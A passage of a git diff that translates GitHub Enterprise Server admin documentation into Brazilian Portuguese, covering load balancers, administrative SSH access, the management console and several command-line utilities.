+| 25    | SMTP    | Suporte a SMTP com criptografia (STARTTLS). |
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
index 35573b2ad4..6270fc38ac 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Enterprise Server with a load balancer
-intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} appliance or a pair of appliances in a High Availability configuration.'
+title: Usar o GitHub Enterprise Server com balanceador de carga
+intro: 'Use um balanceador de carga na frente de um appliance ou de um par de appliances do {% data variables.product.prodname_ghe_server %} em uma configuração de alta disponibilidade.'
 redirect_from:
   - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer
   - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer
@@ -14,18 +14,18 @@ topics:
   - High availability
   - Infrastructure
   - Networking
-shortTitle: Use a load balancer
+shortTitle: Use um balanceador de carga
 ---
 
-## About load balancers
+## Sobre balanceadores de carga
 
 {% data reusables.enterprise_clustering.load_balancer_intro %}
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-## Handling client connection information
+## Informações de conexão do cliente
 
-Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost.
+Como as conexões do cliente com o {% data variables.product.prodname_ghe_server %} vêm do balanceador de carga, pode ocorrer a perda do endereço IP do cliente.
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
@@ -33,37 +33,35 @@ Because client connections to {% data variables.product.prodname_ghe_server %} c
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-### Enabling PROXY protocol support on {% data variables.product.product_location %}
+### Habilitar o suporte de protocolo PROXY na {% data variables.product.product_location %}
 
-We strongly recommend enabling PROXY protocol support for both your appliance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
+É altamente recomendável ativar o suporte de protocolo PROXY para o appliance e o balanceador de carga. Use as instruções do fornecedor para habilitar o protocolo PROXY no balanceador de carga. Para obter mais informações, consulte a [documentação do protocolo PROXY](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt).
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Enable support for PROXY protocol**.
-![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png)
+3. Em **External load balancers** (Balanceadores de carga externos), selecione **Enable support for PROXY protocol** (Habilitar suporte do protocolo PROXY). ![Caixa de seleção para habilitar o suporte do protocolo PROXY](/assets/images/enterprise/management-console/enable-proxy.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.product_location %}
+### Habilitar o suporte X-Forwarded-For na {% data variables.product.product_location %}
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**.
-![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png)
+3. Em **External load balancers** (Balanceadores de carga externos), selecione **Allow HTTP X-Forwarded-For header** (Habilitar header HTTP X-Forwarded-For). ![Caixa de seleção para permitir o header HTTP X-Forwarded-For](/assets/images/enterprise/management-console/allow-xff.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-## Configuring health checks
+## Configurar verificações de integridade
 
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the appliance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica appliance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+As verificações de integridade permitem que um balanceador de carga pare de enviar tráfego para um nó que não responde em caso de falha na verificação pré-configurada do nó em questão. Se o appliance estiver offline devido a manutenção ou falha inesperada, o balanceador de carga poderá exibir uma página de status. Em configurações de alta disponibilidade (HA), é possível usar balanceadores de carga como parte da estratégia de failover. No entanto, não há suporte para failover automático de pares de HA. Promova manualmente o appliance réplica antes que ele comece a atender a solicitações. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_ghe_server %} para alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)".
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
index c0e8a764c7..d210d78547 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the administrative shell (SSH)
+title: Acesar o shell administrativo (SSH)
 redirect_from:
   - /enterprise/admin/articles/ssh-access
   - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access
@@ -19,31 +19,31 @@ topics:
   - Enterprise
   - Fundamentals
   - SSH
-shortTitle: Access the admin shell (SSH)
+shortTitle: Acesso ao shell do administrador (SSH)
 ---
-## About administrative shell access
 
-If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122.
+## Sobre o acesso ao shell administrativo
 
-## Enabling access to the administrative shell via SSH
+Se tiver acesso por SSH ao shell administrativo, você poderá executar os utilitários de linha de comando do {% data variables.product.prodname_ghe_server %}. O acesso SSH também é útil para solucionar problemas, fazer backups e configurar a replicação. O acesso a SSH administrativa é gerenciado separadamente do acesso SSH do Git e fica acessível apenas pela porta 122.
 
-To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys.
+## Habilitar o acesso ao shell administrativo por SSH
+
+Para habilitar o acesso a SSH administrativa, você deve adicionar sua chave pública SSH à lista de chaves autorizadas da instância.
 
 {% tip %}
 
-**Tip:** Changes to authorized SSH keys take effect immediately.
+**Dica:** as alterações nas chaves SSH autorizadas entram em vigor de imediato.
 
 {% endtip %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-3. Under "SSH access", paste your key into the text box, then click **Add key**.
-  ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
+3. Em "SSH access" (Acesso SSH), cole a chave no campo de texto e clique em **Add key** (Adicionar chave). ![Caixa de texto e botão para adicionar uma chave SSH](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Connecting to the administrative shell over SSH
+## Conectar-se ao shell administrativo por SSH
 
-After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122.
+Depois de adicionar sua chave SSH à lista, conecte-se à instância por SSH como usuário `admin` na porta 122.
 
 ```shell
 $ ssh -p 122 admin@github.example.com
@@ -51,17 +51,17 @@ Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1
 admin@github-example-com:~$ █
 ```
 
-### Troubleshooting SSH connection problems
+### Solucionar problemas de conectividade com SSH
 
-If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.product.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use.
+Se o erro `Permission denied (publickey)` (Permissão negada [chave pública]) ocorrer quando você tentar se conectar à {% data variables.product.product_location %} via SSH, confirme se a conexão está sendo feita pela porta 122. Talvez seja necessário especificar explicitamente a chave SSH privada em uso.
 
-To specify a private SSH key using the command line, run `ssh` with the `-i` argument.
+Para especificar uma chave SSH privada usando a linha de comando, execute `ssh` com o argumento `-i`.
 
 ```shell
 ssh -i /path/to/ghe_private_key -p 122 admin@<em>hostname</em>
 ```
 
-You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`).
+Você também pode especificar uma chave SSH privada usando o arquivo de configuração SSH (`~/.ssh/config`).
 
 ```shell
 Host <em>hostname</em>
@@ -70,10 +70,10 @@ Host <em>hostname</em>
   Port 122
 ```
 
-## Accessing the administrative shell using the local console
+## Acesar o shell administrativo usando o console local
 
-In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}.
+Em uma situação de emergência, se o acesso por SSH estiver indisponível, você poderá acessar o shell administrativo localmente. Entre como usuário `admin` usando a senha definida na configuração inicial do {% data variables.product.prodname_ghe_server %}.
 
-## Access limitations for the administrative shell
+## Limitações de acesso ao shell administrativo
 
-Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract.
+O acesso ao shell administrativo é permitido apenas para solucionar problemas e executar procedimentos de operações documentadas. Modificar arquivos de aplicativos e sistemas, executar programas ou instalar pacotes de software não compatíveis pode anular seu contrato de suporte. Entre em contato com o {% data variables.contact.contact_ent_support %} em caso de perguntas sobre as atividades permitidas pelo contrato.
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
index d78d9ed5dd..d566a1d898 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing the management console
+title: Acessar o console de gerenciamento
 intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}'
 redirect_from:
   - /enterprise/admin/articles/about-the-management-console
@@ -17,39 +17,40 @@ type: how_to
 topics:
   - Enterprise
   - Fundamentals
-shortTitle: Access the management console
+shortTitle: Acessar o console de gerenciamento
 ---
-## About the {% data variables.enterprise.management_console %}
 
-Use the {% data variables.enterprise.management_console %} for basic administrative activities:
-- **Initial setup**: Walk through the initial setup process when first launching {% data variables.product.product_location %} by visiting {% data variables.product.product_location %}'s IP address in your browser.
-- **Configuring basic settings for your instance**: Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page.
-- **Scheduling maintenance windows**: Take {% data variables.product.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell.
-- **Troubleshooting**: Generate a support bundle or view high level diagnostic information.
-- **License management**: View or update your {% data variables.product.prodname_enterprise %} license.
+## Sobre o {% data variables.enterprise.management_console %}
 
-You can always reach the {% data variables.enterprise.management_console %} using {% data variables.product.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration.
+Use o {% data variables.enterprise.management_console %} para atividades administrativas básicas:
+- **Configuração inicial**: conheça o processo de configuração inicial ao entrar pela primeira vez na {% data variables.product.product_location %} acessando o endereço IP da {% data variables.product.product_location %} no navegador.
+- **Configurações básicas da instância**: configure DNS, nome do host, SSL, autenticação do usuário, e-mail, serviços de monitoramento e encaminhamento de logs na página Settings (Configurações).
+- **Agendamento de períodos de manutenção**: deixe {% data variables.product.product_location %} off-line durante a manutenção usando o {% data variables.enterprise.management_console %} ou o shell administrativo.
+- **Solução de problemas**: gere um pacote de suporte ou exiba informações de diagnóstico de alto nível.
+- **Gerenciamento de licenças**: exiba ou atualize a licença do {% data variables.product.prodname_enterprise %}.
 
-To access the {% data variables.enterprise.management_console %}, you must use the administrator password established during initial setup of {% data variables.product.product_location %}. You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations.
+É possível chegar ao {% data variables.enterprise.management_console %} usando o endereço IP da {% data variables.product.product_location %}, mesmo quando a instância estiver em modo de manutenção, ou quando houver uma falha grave de aplicativo ou problema de configuração de SSL.
 
-## Accessing the {% data variables.enterprise.management_console %} as a site administrator
+Para acessar o {% data variables.enterprise.management_console %}, você deve usar a senha de administrador definida na configuração inicial da {% data variables.product.product_location %}. Você também deve poder se conectar ao host da máquina virtual na porta 8443. Se tiver problemas para chegar ao {% data variables.enterprise.management_console %}, verifique as configurações intermediárias de firewall e grupo de segurança.
 
-The first time that you access the {% data variables.enterprise.management_console %} as a site administrator, you must upload your {% data variables.product.prodname_enterprise %} license file to authenticate into the app. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)."
+## Acessar o {% data variables.enterprise.management_console %} como administrador do site
+
+A primeira vez que você acessar o {% data variables.enterprise.management_console %} como administrador do site, você deve enviar seu arquivo de licença do {% data variables.product.prodname_enterprise %} para efetuar a autenticação no aplicativo. Para obter mais informações, consulte "[Gerenciar a sua licença para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)."
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
 
-## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user
+## Acessar o {% data variables.enterprise.management_console %} como usuário não autenticado
 
-1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address:
+1. Acesse esta URL no navegador substituindo `hostname` pelo nome de host ou endereço IP do {% data variables.product.prodname_ghe_server %}:
   ```shell
   http(s)://HOSTNAME/setup
   ```
 {% data reusables.enterprise_management_console.type-management-console-password %}
 
-## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts
+## Desbloquear o {% data variables.enterprise.management_console %} após tentativas de login com falha
 
-The {% data variables.enterprise.management_console %} locks after ten failed login attempts are made in the span of ten minutes. You must wait for the login screen to automatically unlock before attempting to log in again. The login screen automatically unlocks as soon as the previous ten minute period contains fewer than ten failed login attempts. The counter resets after a successful login occurs.
+O {% data variables.enterprise.management_console %} trava após dez tentativas de login com falha em um período de dez minutos. Antes de tentar novamente, aguarde o desbloqueio automático da tela de login, que ocorrerá após um período de dez minutos. A contagem é redefinida depois do login bem-sucedido.
 
-To immediately unlock the {% data variables.enterprise.management_console %}, use the `ghe-reactivate-admin-login` command via the administrative shell. For more information, see "[Command line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
+Para bloquear o {% data variables.enterprise.management_console %} imediatamente, use o comando `ghe-reactivate-admin-login` pelo shell administrativo. Para obter mais informações, consulte "[Utilitários da linha de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" e "[Acessar o shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)".
diff --git a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
index 2c3a6f3bb8..8b322e26b2 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md
@@ -1,6 +1,6 @@
 ---
-title: Command-line utilities
-intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.'
+title: Utilitários de linha de comando
+intro: 'O {% data variables.product.prodname_ghe_server %} tem uma série de utilitários que ajudam a resolver problemas específicos ou a executar determinadas tarefas.'
 redirect_from:
   - /enterprise/admin/articles/viewing-all-services
   - /enterprise/admin/articles/command-line-utilities
@@ -15,25 +15,26 @@ topics:
   - Enterprise
   - SSH
 ---
-You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)."
 
-## General
+Depois de entrar como usuário administrador com SSH, você pode executar esses comandos de qualquer lugar na VM. Para obter mais informações, consulte "[Acessar o shell administrativo (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)".
+
+## Geral
 
 ### ghe-announce
 
-This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users.
+Este utilitário insere um banner no topo de cada página do {% data variables.product.prodname_enterprise %}. Você pode usá-lo para enviar uma comunicação a todos os usuários.
 
 {% ifversion ghes %}
-You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)."
+Você também pode definir um banner de anúncio usando as configurações empresariais no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Personalizar mensagens de usuário na instância](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)".
 {% endif %}
 
 ```shell
-# Sets a message that's visible to everyone
+# Configura uma mensagem visível para todos
 $ ghe-announce -s MESSAGE
-> Announcement message set.
-# Removes a previously set message
+> Mensagem de anúncio configurada
+# Remove uma mensagem já configurada
 $ ghe-announce -u
-> Removed the announcement message
+> Mensagem de anúncio removida
 ```
 
 {% ifversion ghes > 3.1 %}
@@ -41,18 +42,18 @@ $ ghe-announce -u
 
 ### ghe-aqueduct
 
-This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page.
+Este utilitário exibe informações sobre trabalhos em segundo plano, ativos e em fila. Ele fornece os mesmos números de contagem de trabalhos que a barra de estatísticas de administração, na parte superior de todas as páginas.
 
-This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct:
+Este utilitário pode ajudar a identificar se o servidor de Aqueduct está tendo problemas no processamento de trabalhos em segundo plano. Qualquer dos seguintes cenários pode indicar um problema com o Aqueduct:
 
-* The number of background jobs is increasing, while the active jobs remain the same.
-* The event feeds are not updating.
-* Webhooks are not being triggered.
-* The web interface is not updating after a Git push.
+* O número de trabalhos em segundo plano está aumentando, e os trabalhos ativos continuam iguais.
+* Os feeds de evento não estão sendo atualizados.
+* Webhooks não estão sendo acionados.
+* A interface web não atualiza após um push do Git.
 
-If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help.
+Se você suspeitar que o Aqueduct tem uma falha, entre em contato com {% data variables.contact.contact_ent_support %} para obter ajuda.
 
-With this command, you can also pause or resume jobs in the queue.
+Com este comando, também é possível pausar ou retomar trabalhos na fila.
 
 ```shell
 $ ghe-aqueduct status
@@ -68,7 +69,7 @@ $ ghe-aqueduct resume --queue <em>QUEUE</em>
 
 ### ghe-check-disk-usage
 
-This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition.
+Este utilitário verifica se há arquivos grandes ou arquivos excluídos no disco, mas que ainda têm identificadores abertos. Deve ser executado para liberar espaço na partição raiz.
 
 ```shell
 ghe-check-disk-usage
@@ -76,18 +77,18 @@ ghe-check-disk-usage
 
 ### ghe-cleanup-caches
 
-This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage.
+Este utilitário limpa uma série de caches que podem vir a ocupar espaço extra em disco no volume raiz. Se você perceber que o uso do espaço em disco do volume raiz aumenta muito ao longo do tempo, talvez seja uma boa ideia executar este utilitário e verificar se ele ajuda a reduzir o uso geral.
 
 ```shell
 ghe-cleanup-caches
 ```
 ### ghe-cleanup-settings
 
-This utility wipes all existing {% data variables.enterprise.management_console %} settings.
+Este utilitário apaga todas as configurações do {% data variables.enterprise.management_console %}.
 
 {% tip %}
 
-**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
+**Dica**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
 
 {% endtip %}
 
@@ -97,24 +98,24 @@ ghe-cleanup-settings
 
 ### ghe-config
 
-With this utility, you can both retrieve and modify the configuration settings of {% data variables.product.product_location %}.
+Com este utilitário, você pode recuperar e modificar as definições de configuração da {% data variables.product.product_location %}.
 
 ```shell
 $ ghe-config <em>core.github-hostname</em>
-# Gets the configuration value of `core.github-hostname`
+# Gera o valor de configuração de `core.github-hostname`
 $ ghe-config <em>core.github-hostname</em> <em>'example.com'</em>
-# Sets the configuration value of `core.github-hostname` to `example.com`
+# Define o valor de configuração de `core.github-hostname` como `example.com`
 $ ghe-config -l
-# Lists all the configuration values
+# Lista todos os valores de configuração
 ```
-Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`.
+Permite encontrar o identificador universalmente exclusivo (UUID) do seu nó em `cluster.conf`.
 
 ```shell
   $ ghe-config <em>HOSTNAME</em>.uuid
 ```
 
 {% ifversion ghes %}
-Allows you to exempt a list of users from API rate limits. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)."
+Permite isentar uma lista de usuários do limite de taxa de da API. Para obter mais informações, consulte "[Recursos na API REST](/rest/overview/resources-in-the-rest-api#rate-limiting)".
 
 ``` shell
 $ ghe-config app.github.rate-limiting-exempt-users "<em>hubot</em> <em>github-actions</em>"
@@ -124,9 +125,9 @@ $ ghe-config app.github.rate-limiting-exempt-users "<em>hubot</em> <em>github-ac
 
 ### ghe-config-apply
 
-This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console).
+Este utilitário aplica configurações do {% data variables.enterprise.management_console %}, recarrega os serviços do sistema, prepara um dispositivo de armazenamento, recarrega os serviços de aplicativos e executa as migrações pendentes de banco de dados. Ele equivale a clicar em **Save settings** (Salvar configurações) na IU da web do {% data variables.enterprise.management_console %} ou a enviar uma solicitação POST [ao endpoint `/setup/api/configure`](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console).
 
-You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH.
+É provável que você não precise executar essa ação manualmente, mas é possível fazer isso caso você queira automatizar o processo de salvar suas configurações via SSH.
 
 ```shell
 ghe-config-apply
@@ -134,7 +135,7 @@ ghe-config-apply
 
 ### ghe-console
 
-This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
+Este utilitário abre o console do GitHub Rails no appliance do {% data variables.product.prodname_enterprise %}. {% data reusables.command_line.use_with_support_only %}
 
 ```shell
 ghe-console
@@ -142,16 +143,16 @@ ghe-console
 
 ### ghe-dbconsole
 
-This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %}
+Este utilitário abre uma sessão do banco de dados MySQL no appliance do {% data variables.product.prodname_enterprise %}. {% data reusables.command_line.use_with_support_only %}
 
 ```shell
 ghe-dbconsole
 ```
 
 ### ghe-es-index-status
-This utility returns a summary of Elasticsearch indexes in CSV format.
+Este utilitário retorna um resumo dos índices do Elasticsearch no formato CSV.
 
-Print an index summary with a header row to `STDOUT`:
+Imprimir um resumo do índice com uma linha de header em `STDOUT`:
 ```shell
 $ ghe-es-index-status -do
 > warning: parser/current is loading parser/ruby23, which recognizes
@@ -170,7 +171,7 @@ $ ghe-es-index-status -do
 > wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234
 ```
 
-Print an index summary and pipe results to `column` for readability:
+Imprimir um resumo do índice e os resultados em `column` para facilitar a leitura:
 
 ```shell
 $ ghe-es-index-status -do | column -ts,
@@ -192,7 +193,7 @@ $ ghe-es-index-status -do | column -ts,
 
 ### ghe-legacy-github-services-report
 
-This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag.
+Este utilitário lista os repositórios no appliance que usam o {% data variables.product.prodname_dotcom %} Services, um método de integração que será descontinuado em 1 de outubro de 2018. Os usuários do seu appliance podem ter configurado o {% data variables.product.prodname_dotcom %} Services para criar notificações de pushes em determinados repositórios. Para obter mais informações, consulte "[Anunciar a depreciação dos serviços de {% data variables.product.prodname_dotcom %}](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" em {% data variables.product.prodname_blog %} ou "[Substituir serviços de {% data variables.product.prodname_dotcom %}](/developers/overview/replacing-github-services)". Para saber mais sobre este comando ou consultar opções adicionais, use o sinalizador `-h`.
 
 ```shell
 ghe-legacy-github-services-report
@@ -201,7 +202,7 @@ ghe-legacy-github-services-report
 
 ### ghe-logs-tail
 
-This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options.
+Este utilitário permite registrar todos os arquivos de log relevantes da sua instalação. Você pode passar as opções para limitar os logs a conjuntos específicos. Para consultar opções adicionais, use o sinalizador -h.
 
 ```shell
 ghe-logs-tail
@@ -209,7 +210,7 @@ ghe-logs-tail
 
 ### ghe-maintenance
 
-This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly.
+Este utilitário permite controlar o estado do modo de manutenção da instalação. Ele foi desenvolvido para uso principalmente nos bastidores do {% data variables.enterprise.management_console %}, mas também pode ser usado diretamente.
 
 ```shell
 ghe-maintenance -h
@@ -217,7 +218,7 @@ ghe-maintenance -h
 
 ### ghe-motd
 
-This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state.
+Este utilitário exibe novamente a mensagem do dia (MOTD) que os administradores veem quando acessam a instância através do shell administrativo. A saída contém uma visão geral do estado da instância.
 
 ```shell
 ghe-motd
@@ -225,7 +226,7 @@ ghe-motd
 
 ### ghe-nwo
 
-This utility returns a repository's name and owner based on the repository ID.  
+Este utilitário retorna o nome e o proprietário de um repositório com base no ID do repositório.
 
 ```shell
 ghe-nwo <em>REPOSITORY_ID</em>
@@ -233,36 +234,36 @@ ghe-nwo <em>REPOSITORY_ID</em>
 
 ### ghe-org-admin-promote
 
-Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation.
+Use este comando para conceder privilégios de proprietário da organização a usuários com privilégios de administrador do site no appliance ou a qualquer usuário em uma única organização. Você deve especificar um usuário e/ou organização. O comando `ghe-org-admin-promote` sempre solicitará a confirmação antes da execução, a menos que você use o sinalizador `-y` para ignorar essa etapa.
 
-You can use these options with the utility:
+É possível usar estas opções com o utilitário:
 
-- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization.
-- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin.
-- The `-a` flag gives owner privileges in all organizations to all site admins.
-- The `-y` flag bypasses the manual confirmation.
+- O sinalizador `-u` especifica um nome de usuário. Use este sinalizador para conceder privilégios de proprietário da organização a um usuário. Omita o sinalizador `-u` para promover todos os administradores do site à organização especificada.
+- O sinalizador `-o` especifica uma organização. Use este sinalizador para conceder privilégios de proprietário em uma organização. Omita o sinalizador `-o` para conceder permissões de proprietário em todas as organizações a um administrador do site.
+- O sinalizador `-a` concede privilégios de proprietário em todas as organizações a todos os administradores do site.
+- O sinalizador `-y` ignora a confirmação manual.
 
-This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote).
+Este utilitário não pode promover um administrador externo a proprietário de todas as organizações. Para promover uma conta de usuário comum a administrador do site, use [ghe-user-promote](#ghe-user-promote).
 
-Give organization owner privileges in a specific organization to a specific site admin
+Conceder privilégios de proprietário da organização em uma organização específica para um administrador específico do site
 
 ```shell
 ghe-org-admin-promote -u <em>USERNAME</em> -o <em>ORGANIZATION</em>
 ```
 
-Give organization owner privileges in all organizations to a specific site admin
+Conceder privilégios de proprietário da organização a um administrador do site em todas as organizações
 
 ```shell
 ghe-org-admin-promote -u <em>USERNAME</em>
 ```
 
-Give organization owner privileges in a specific organization to all site admins
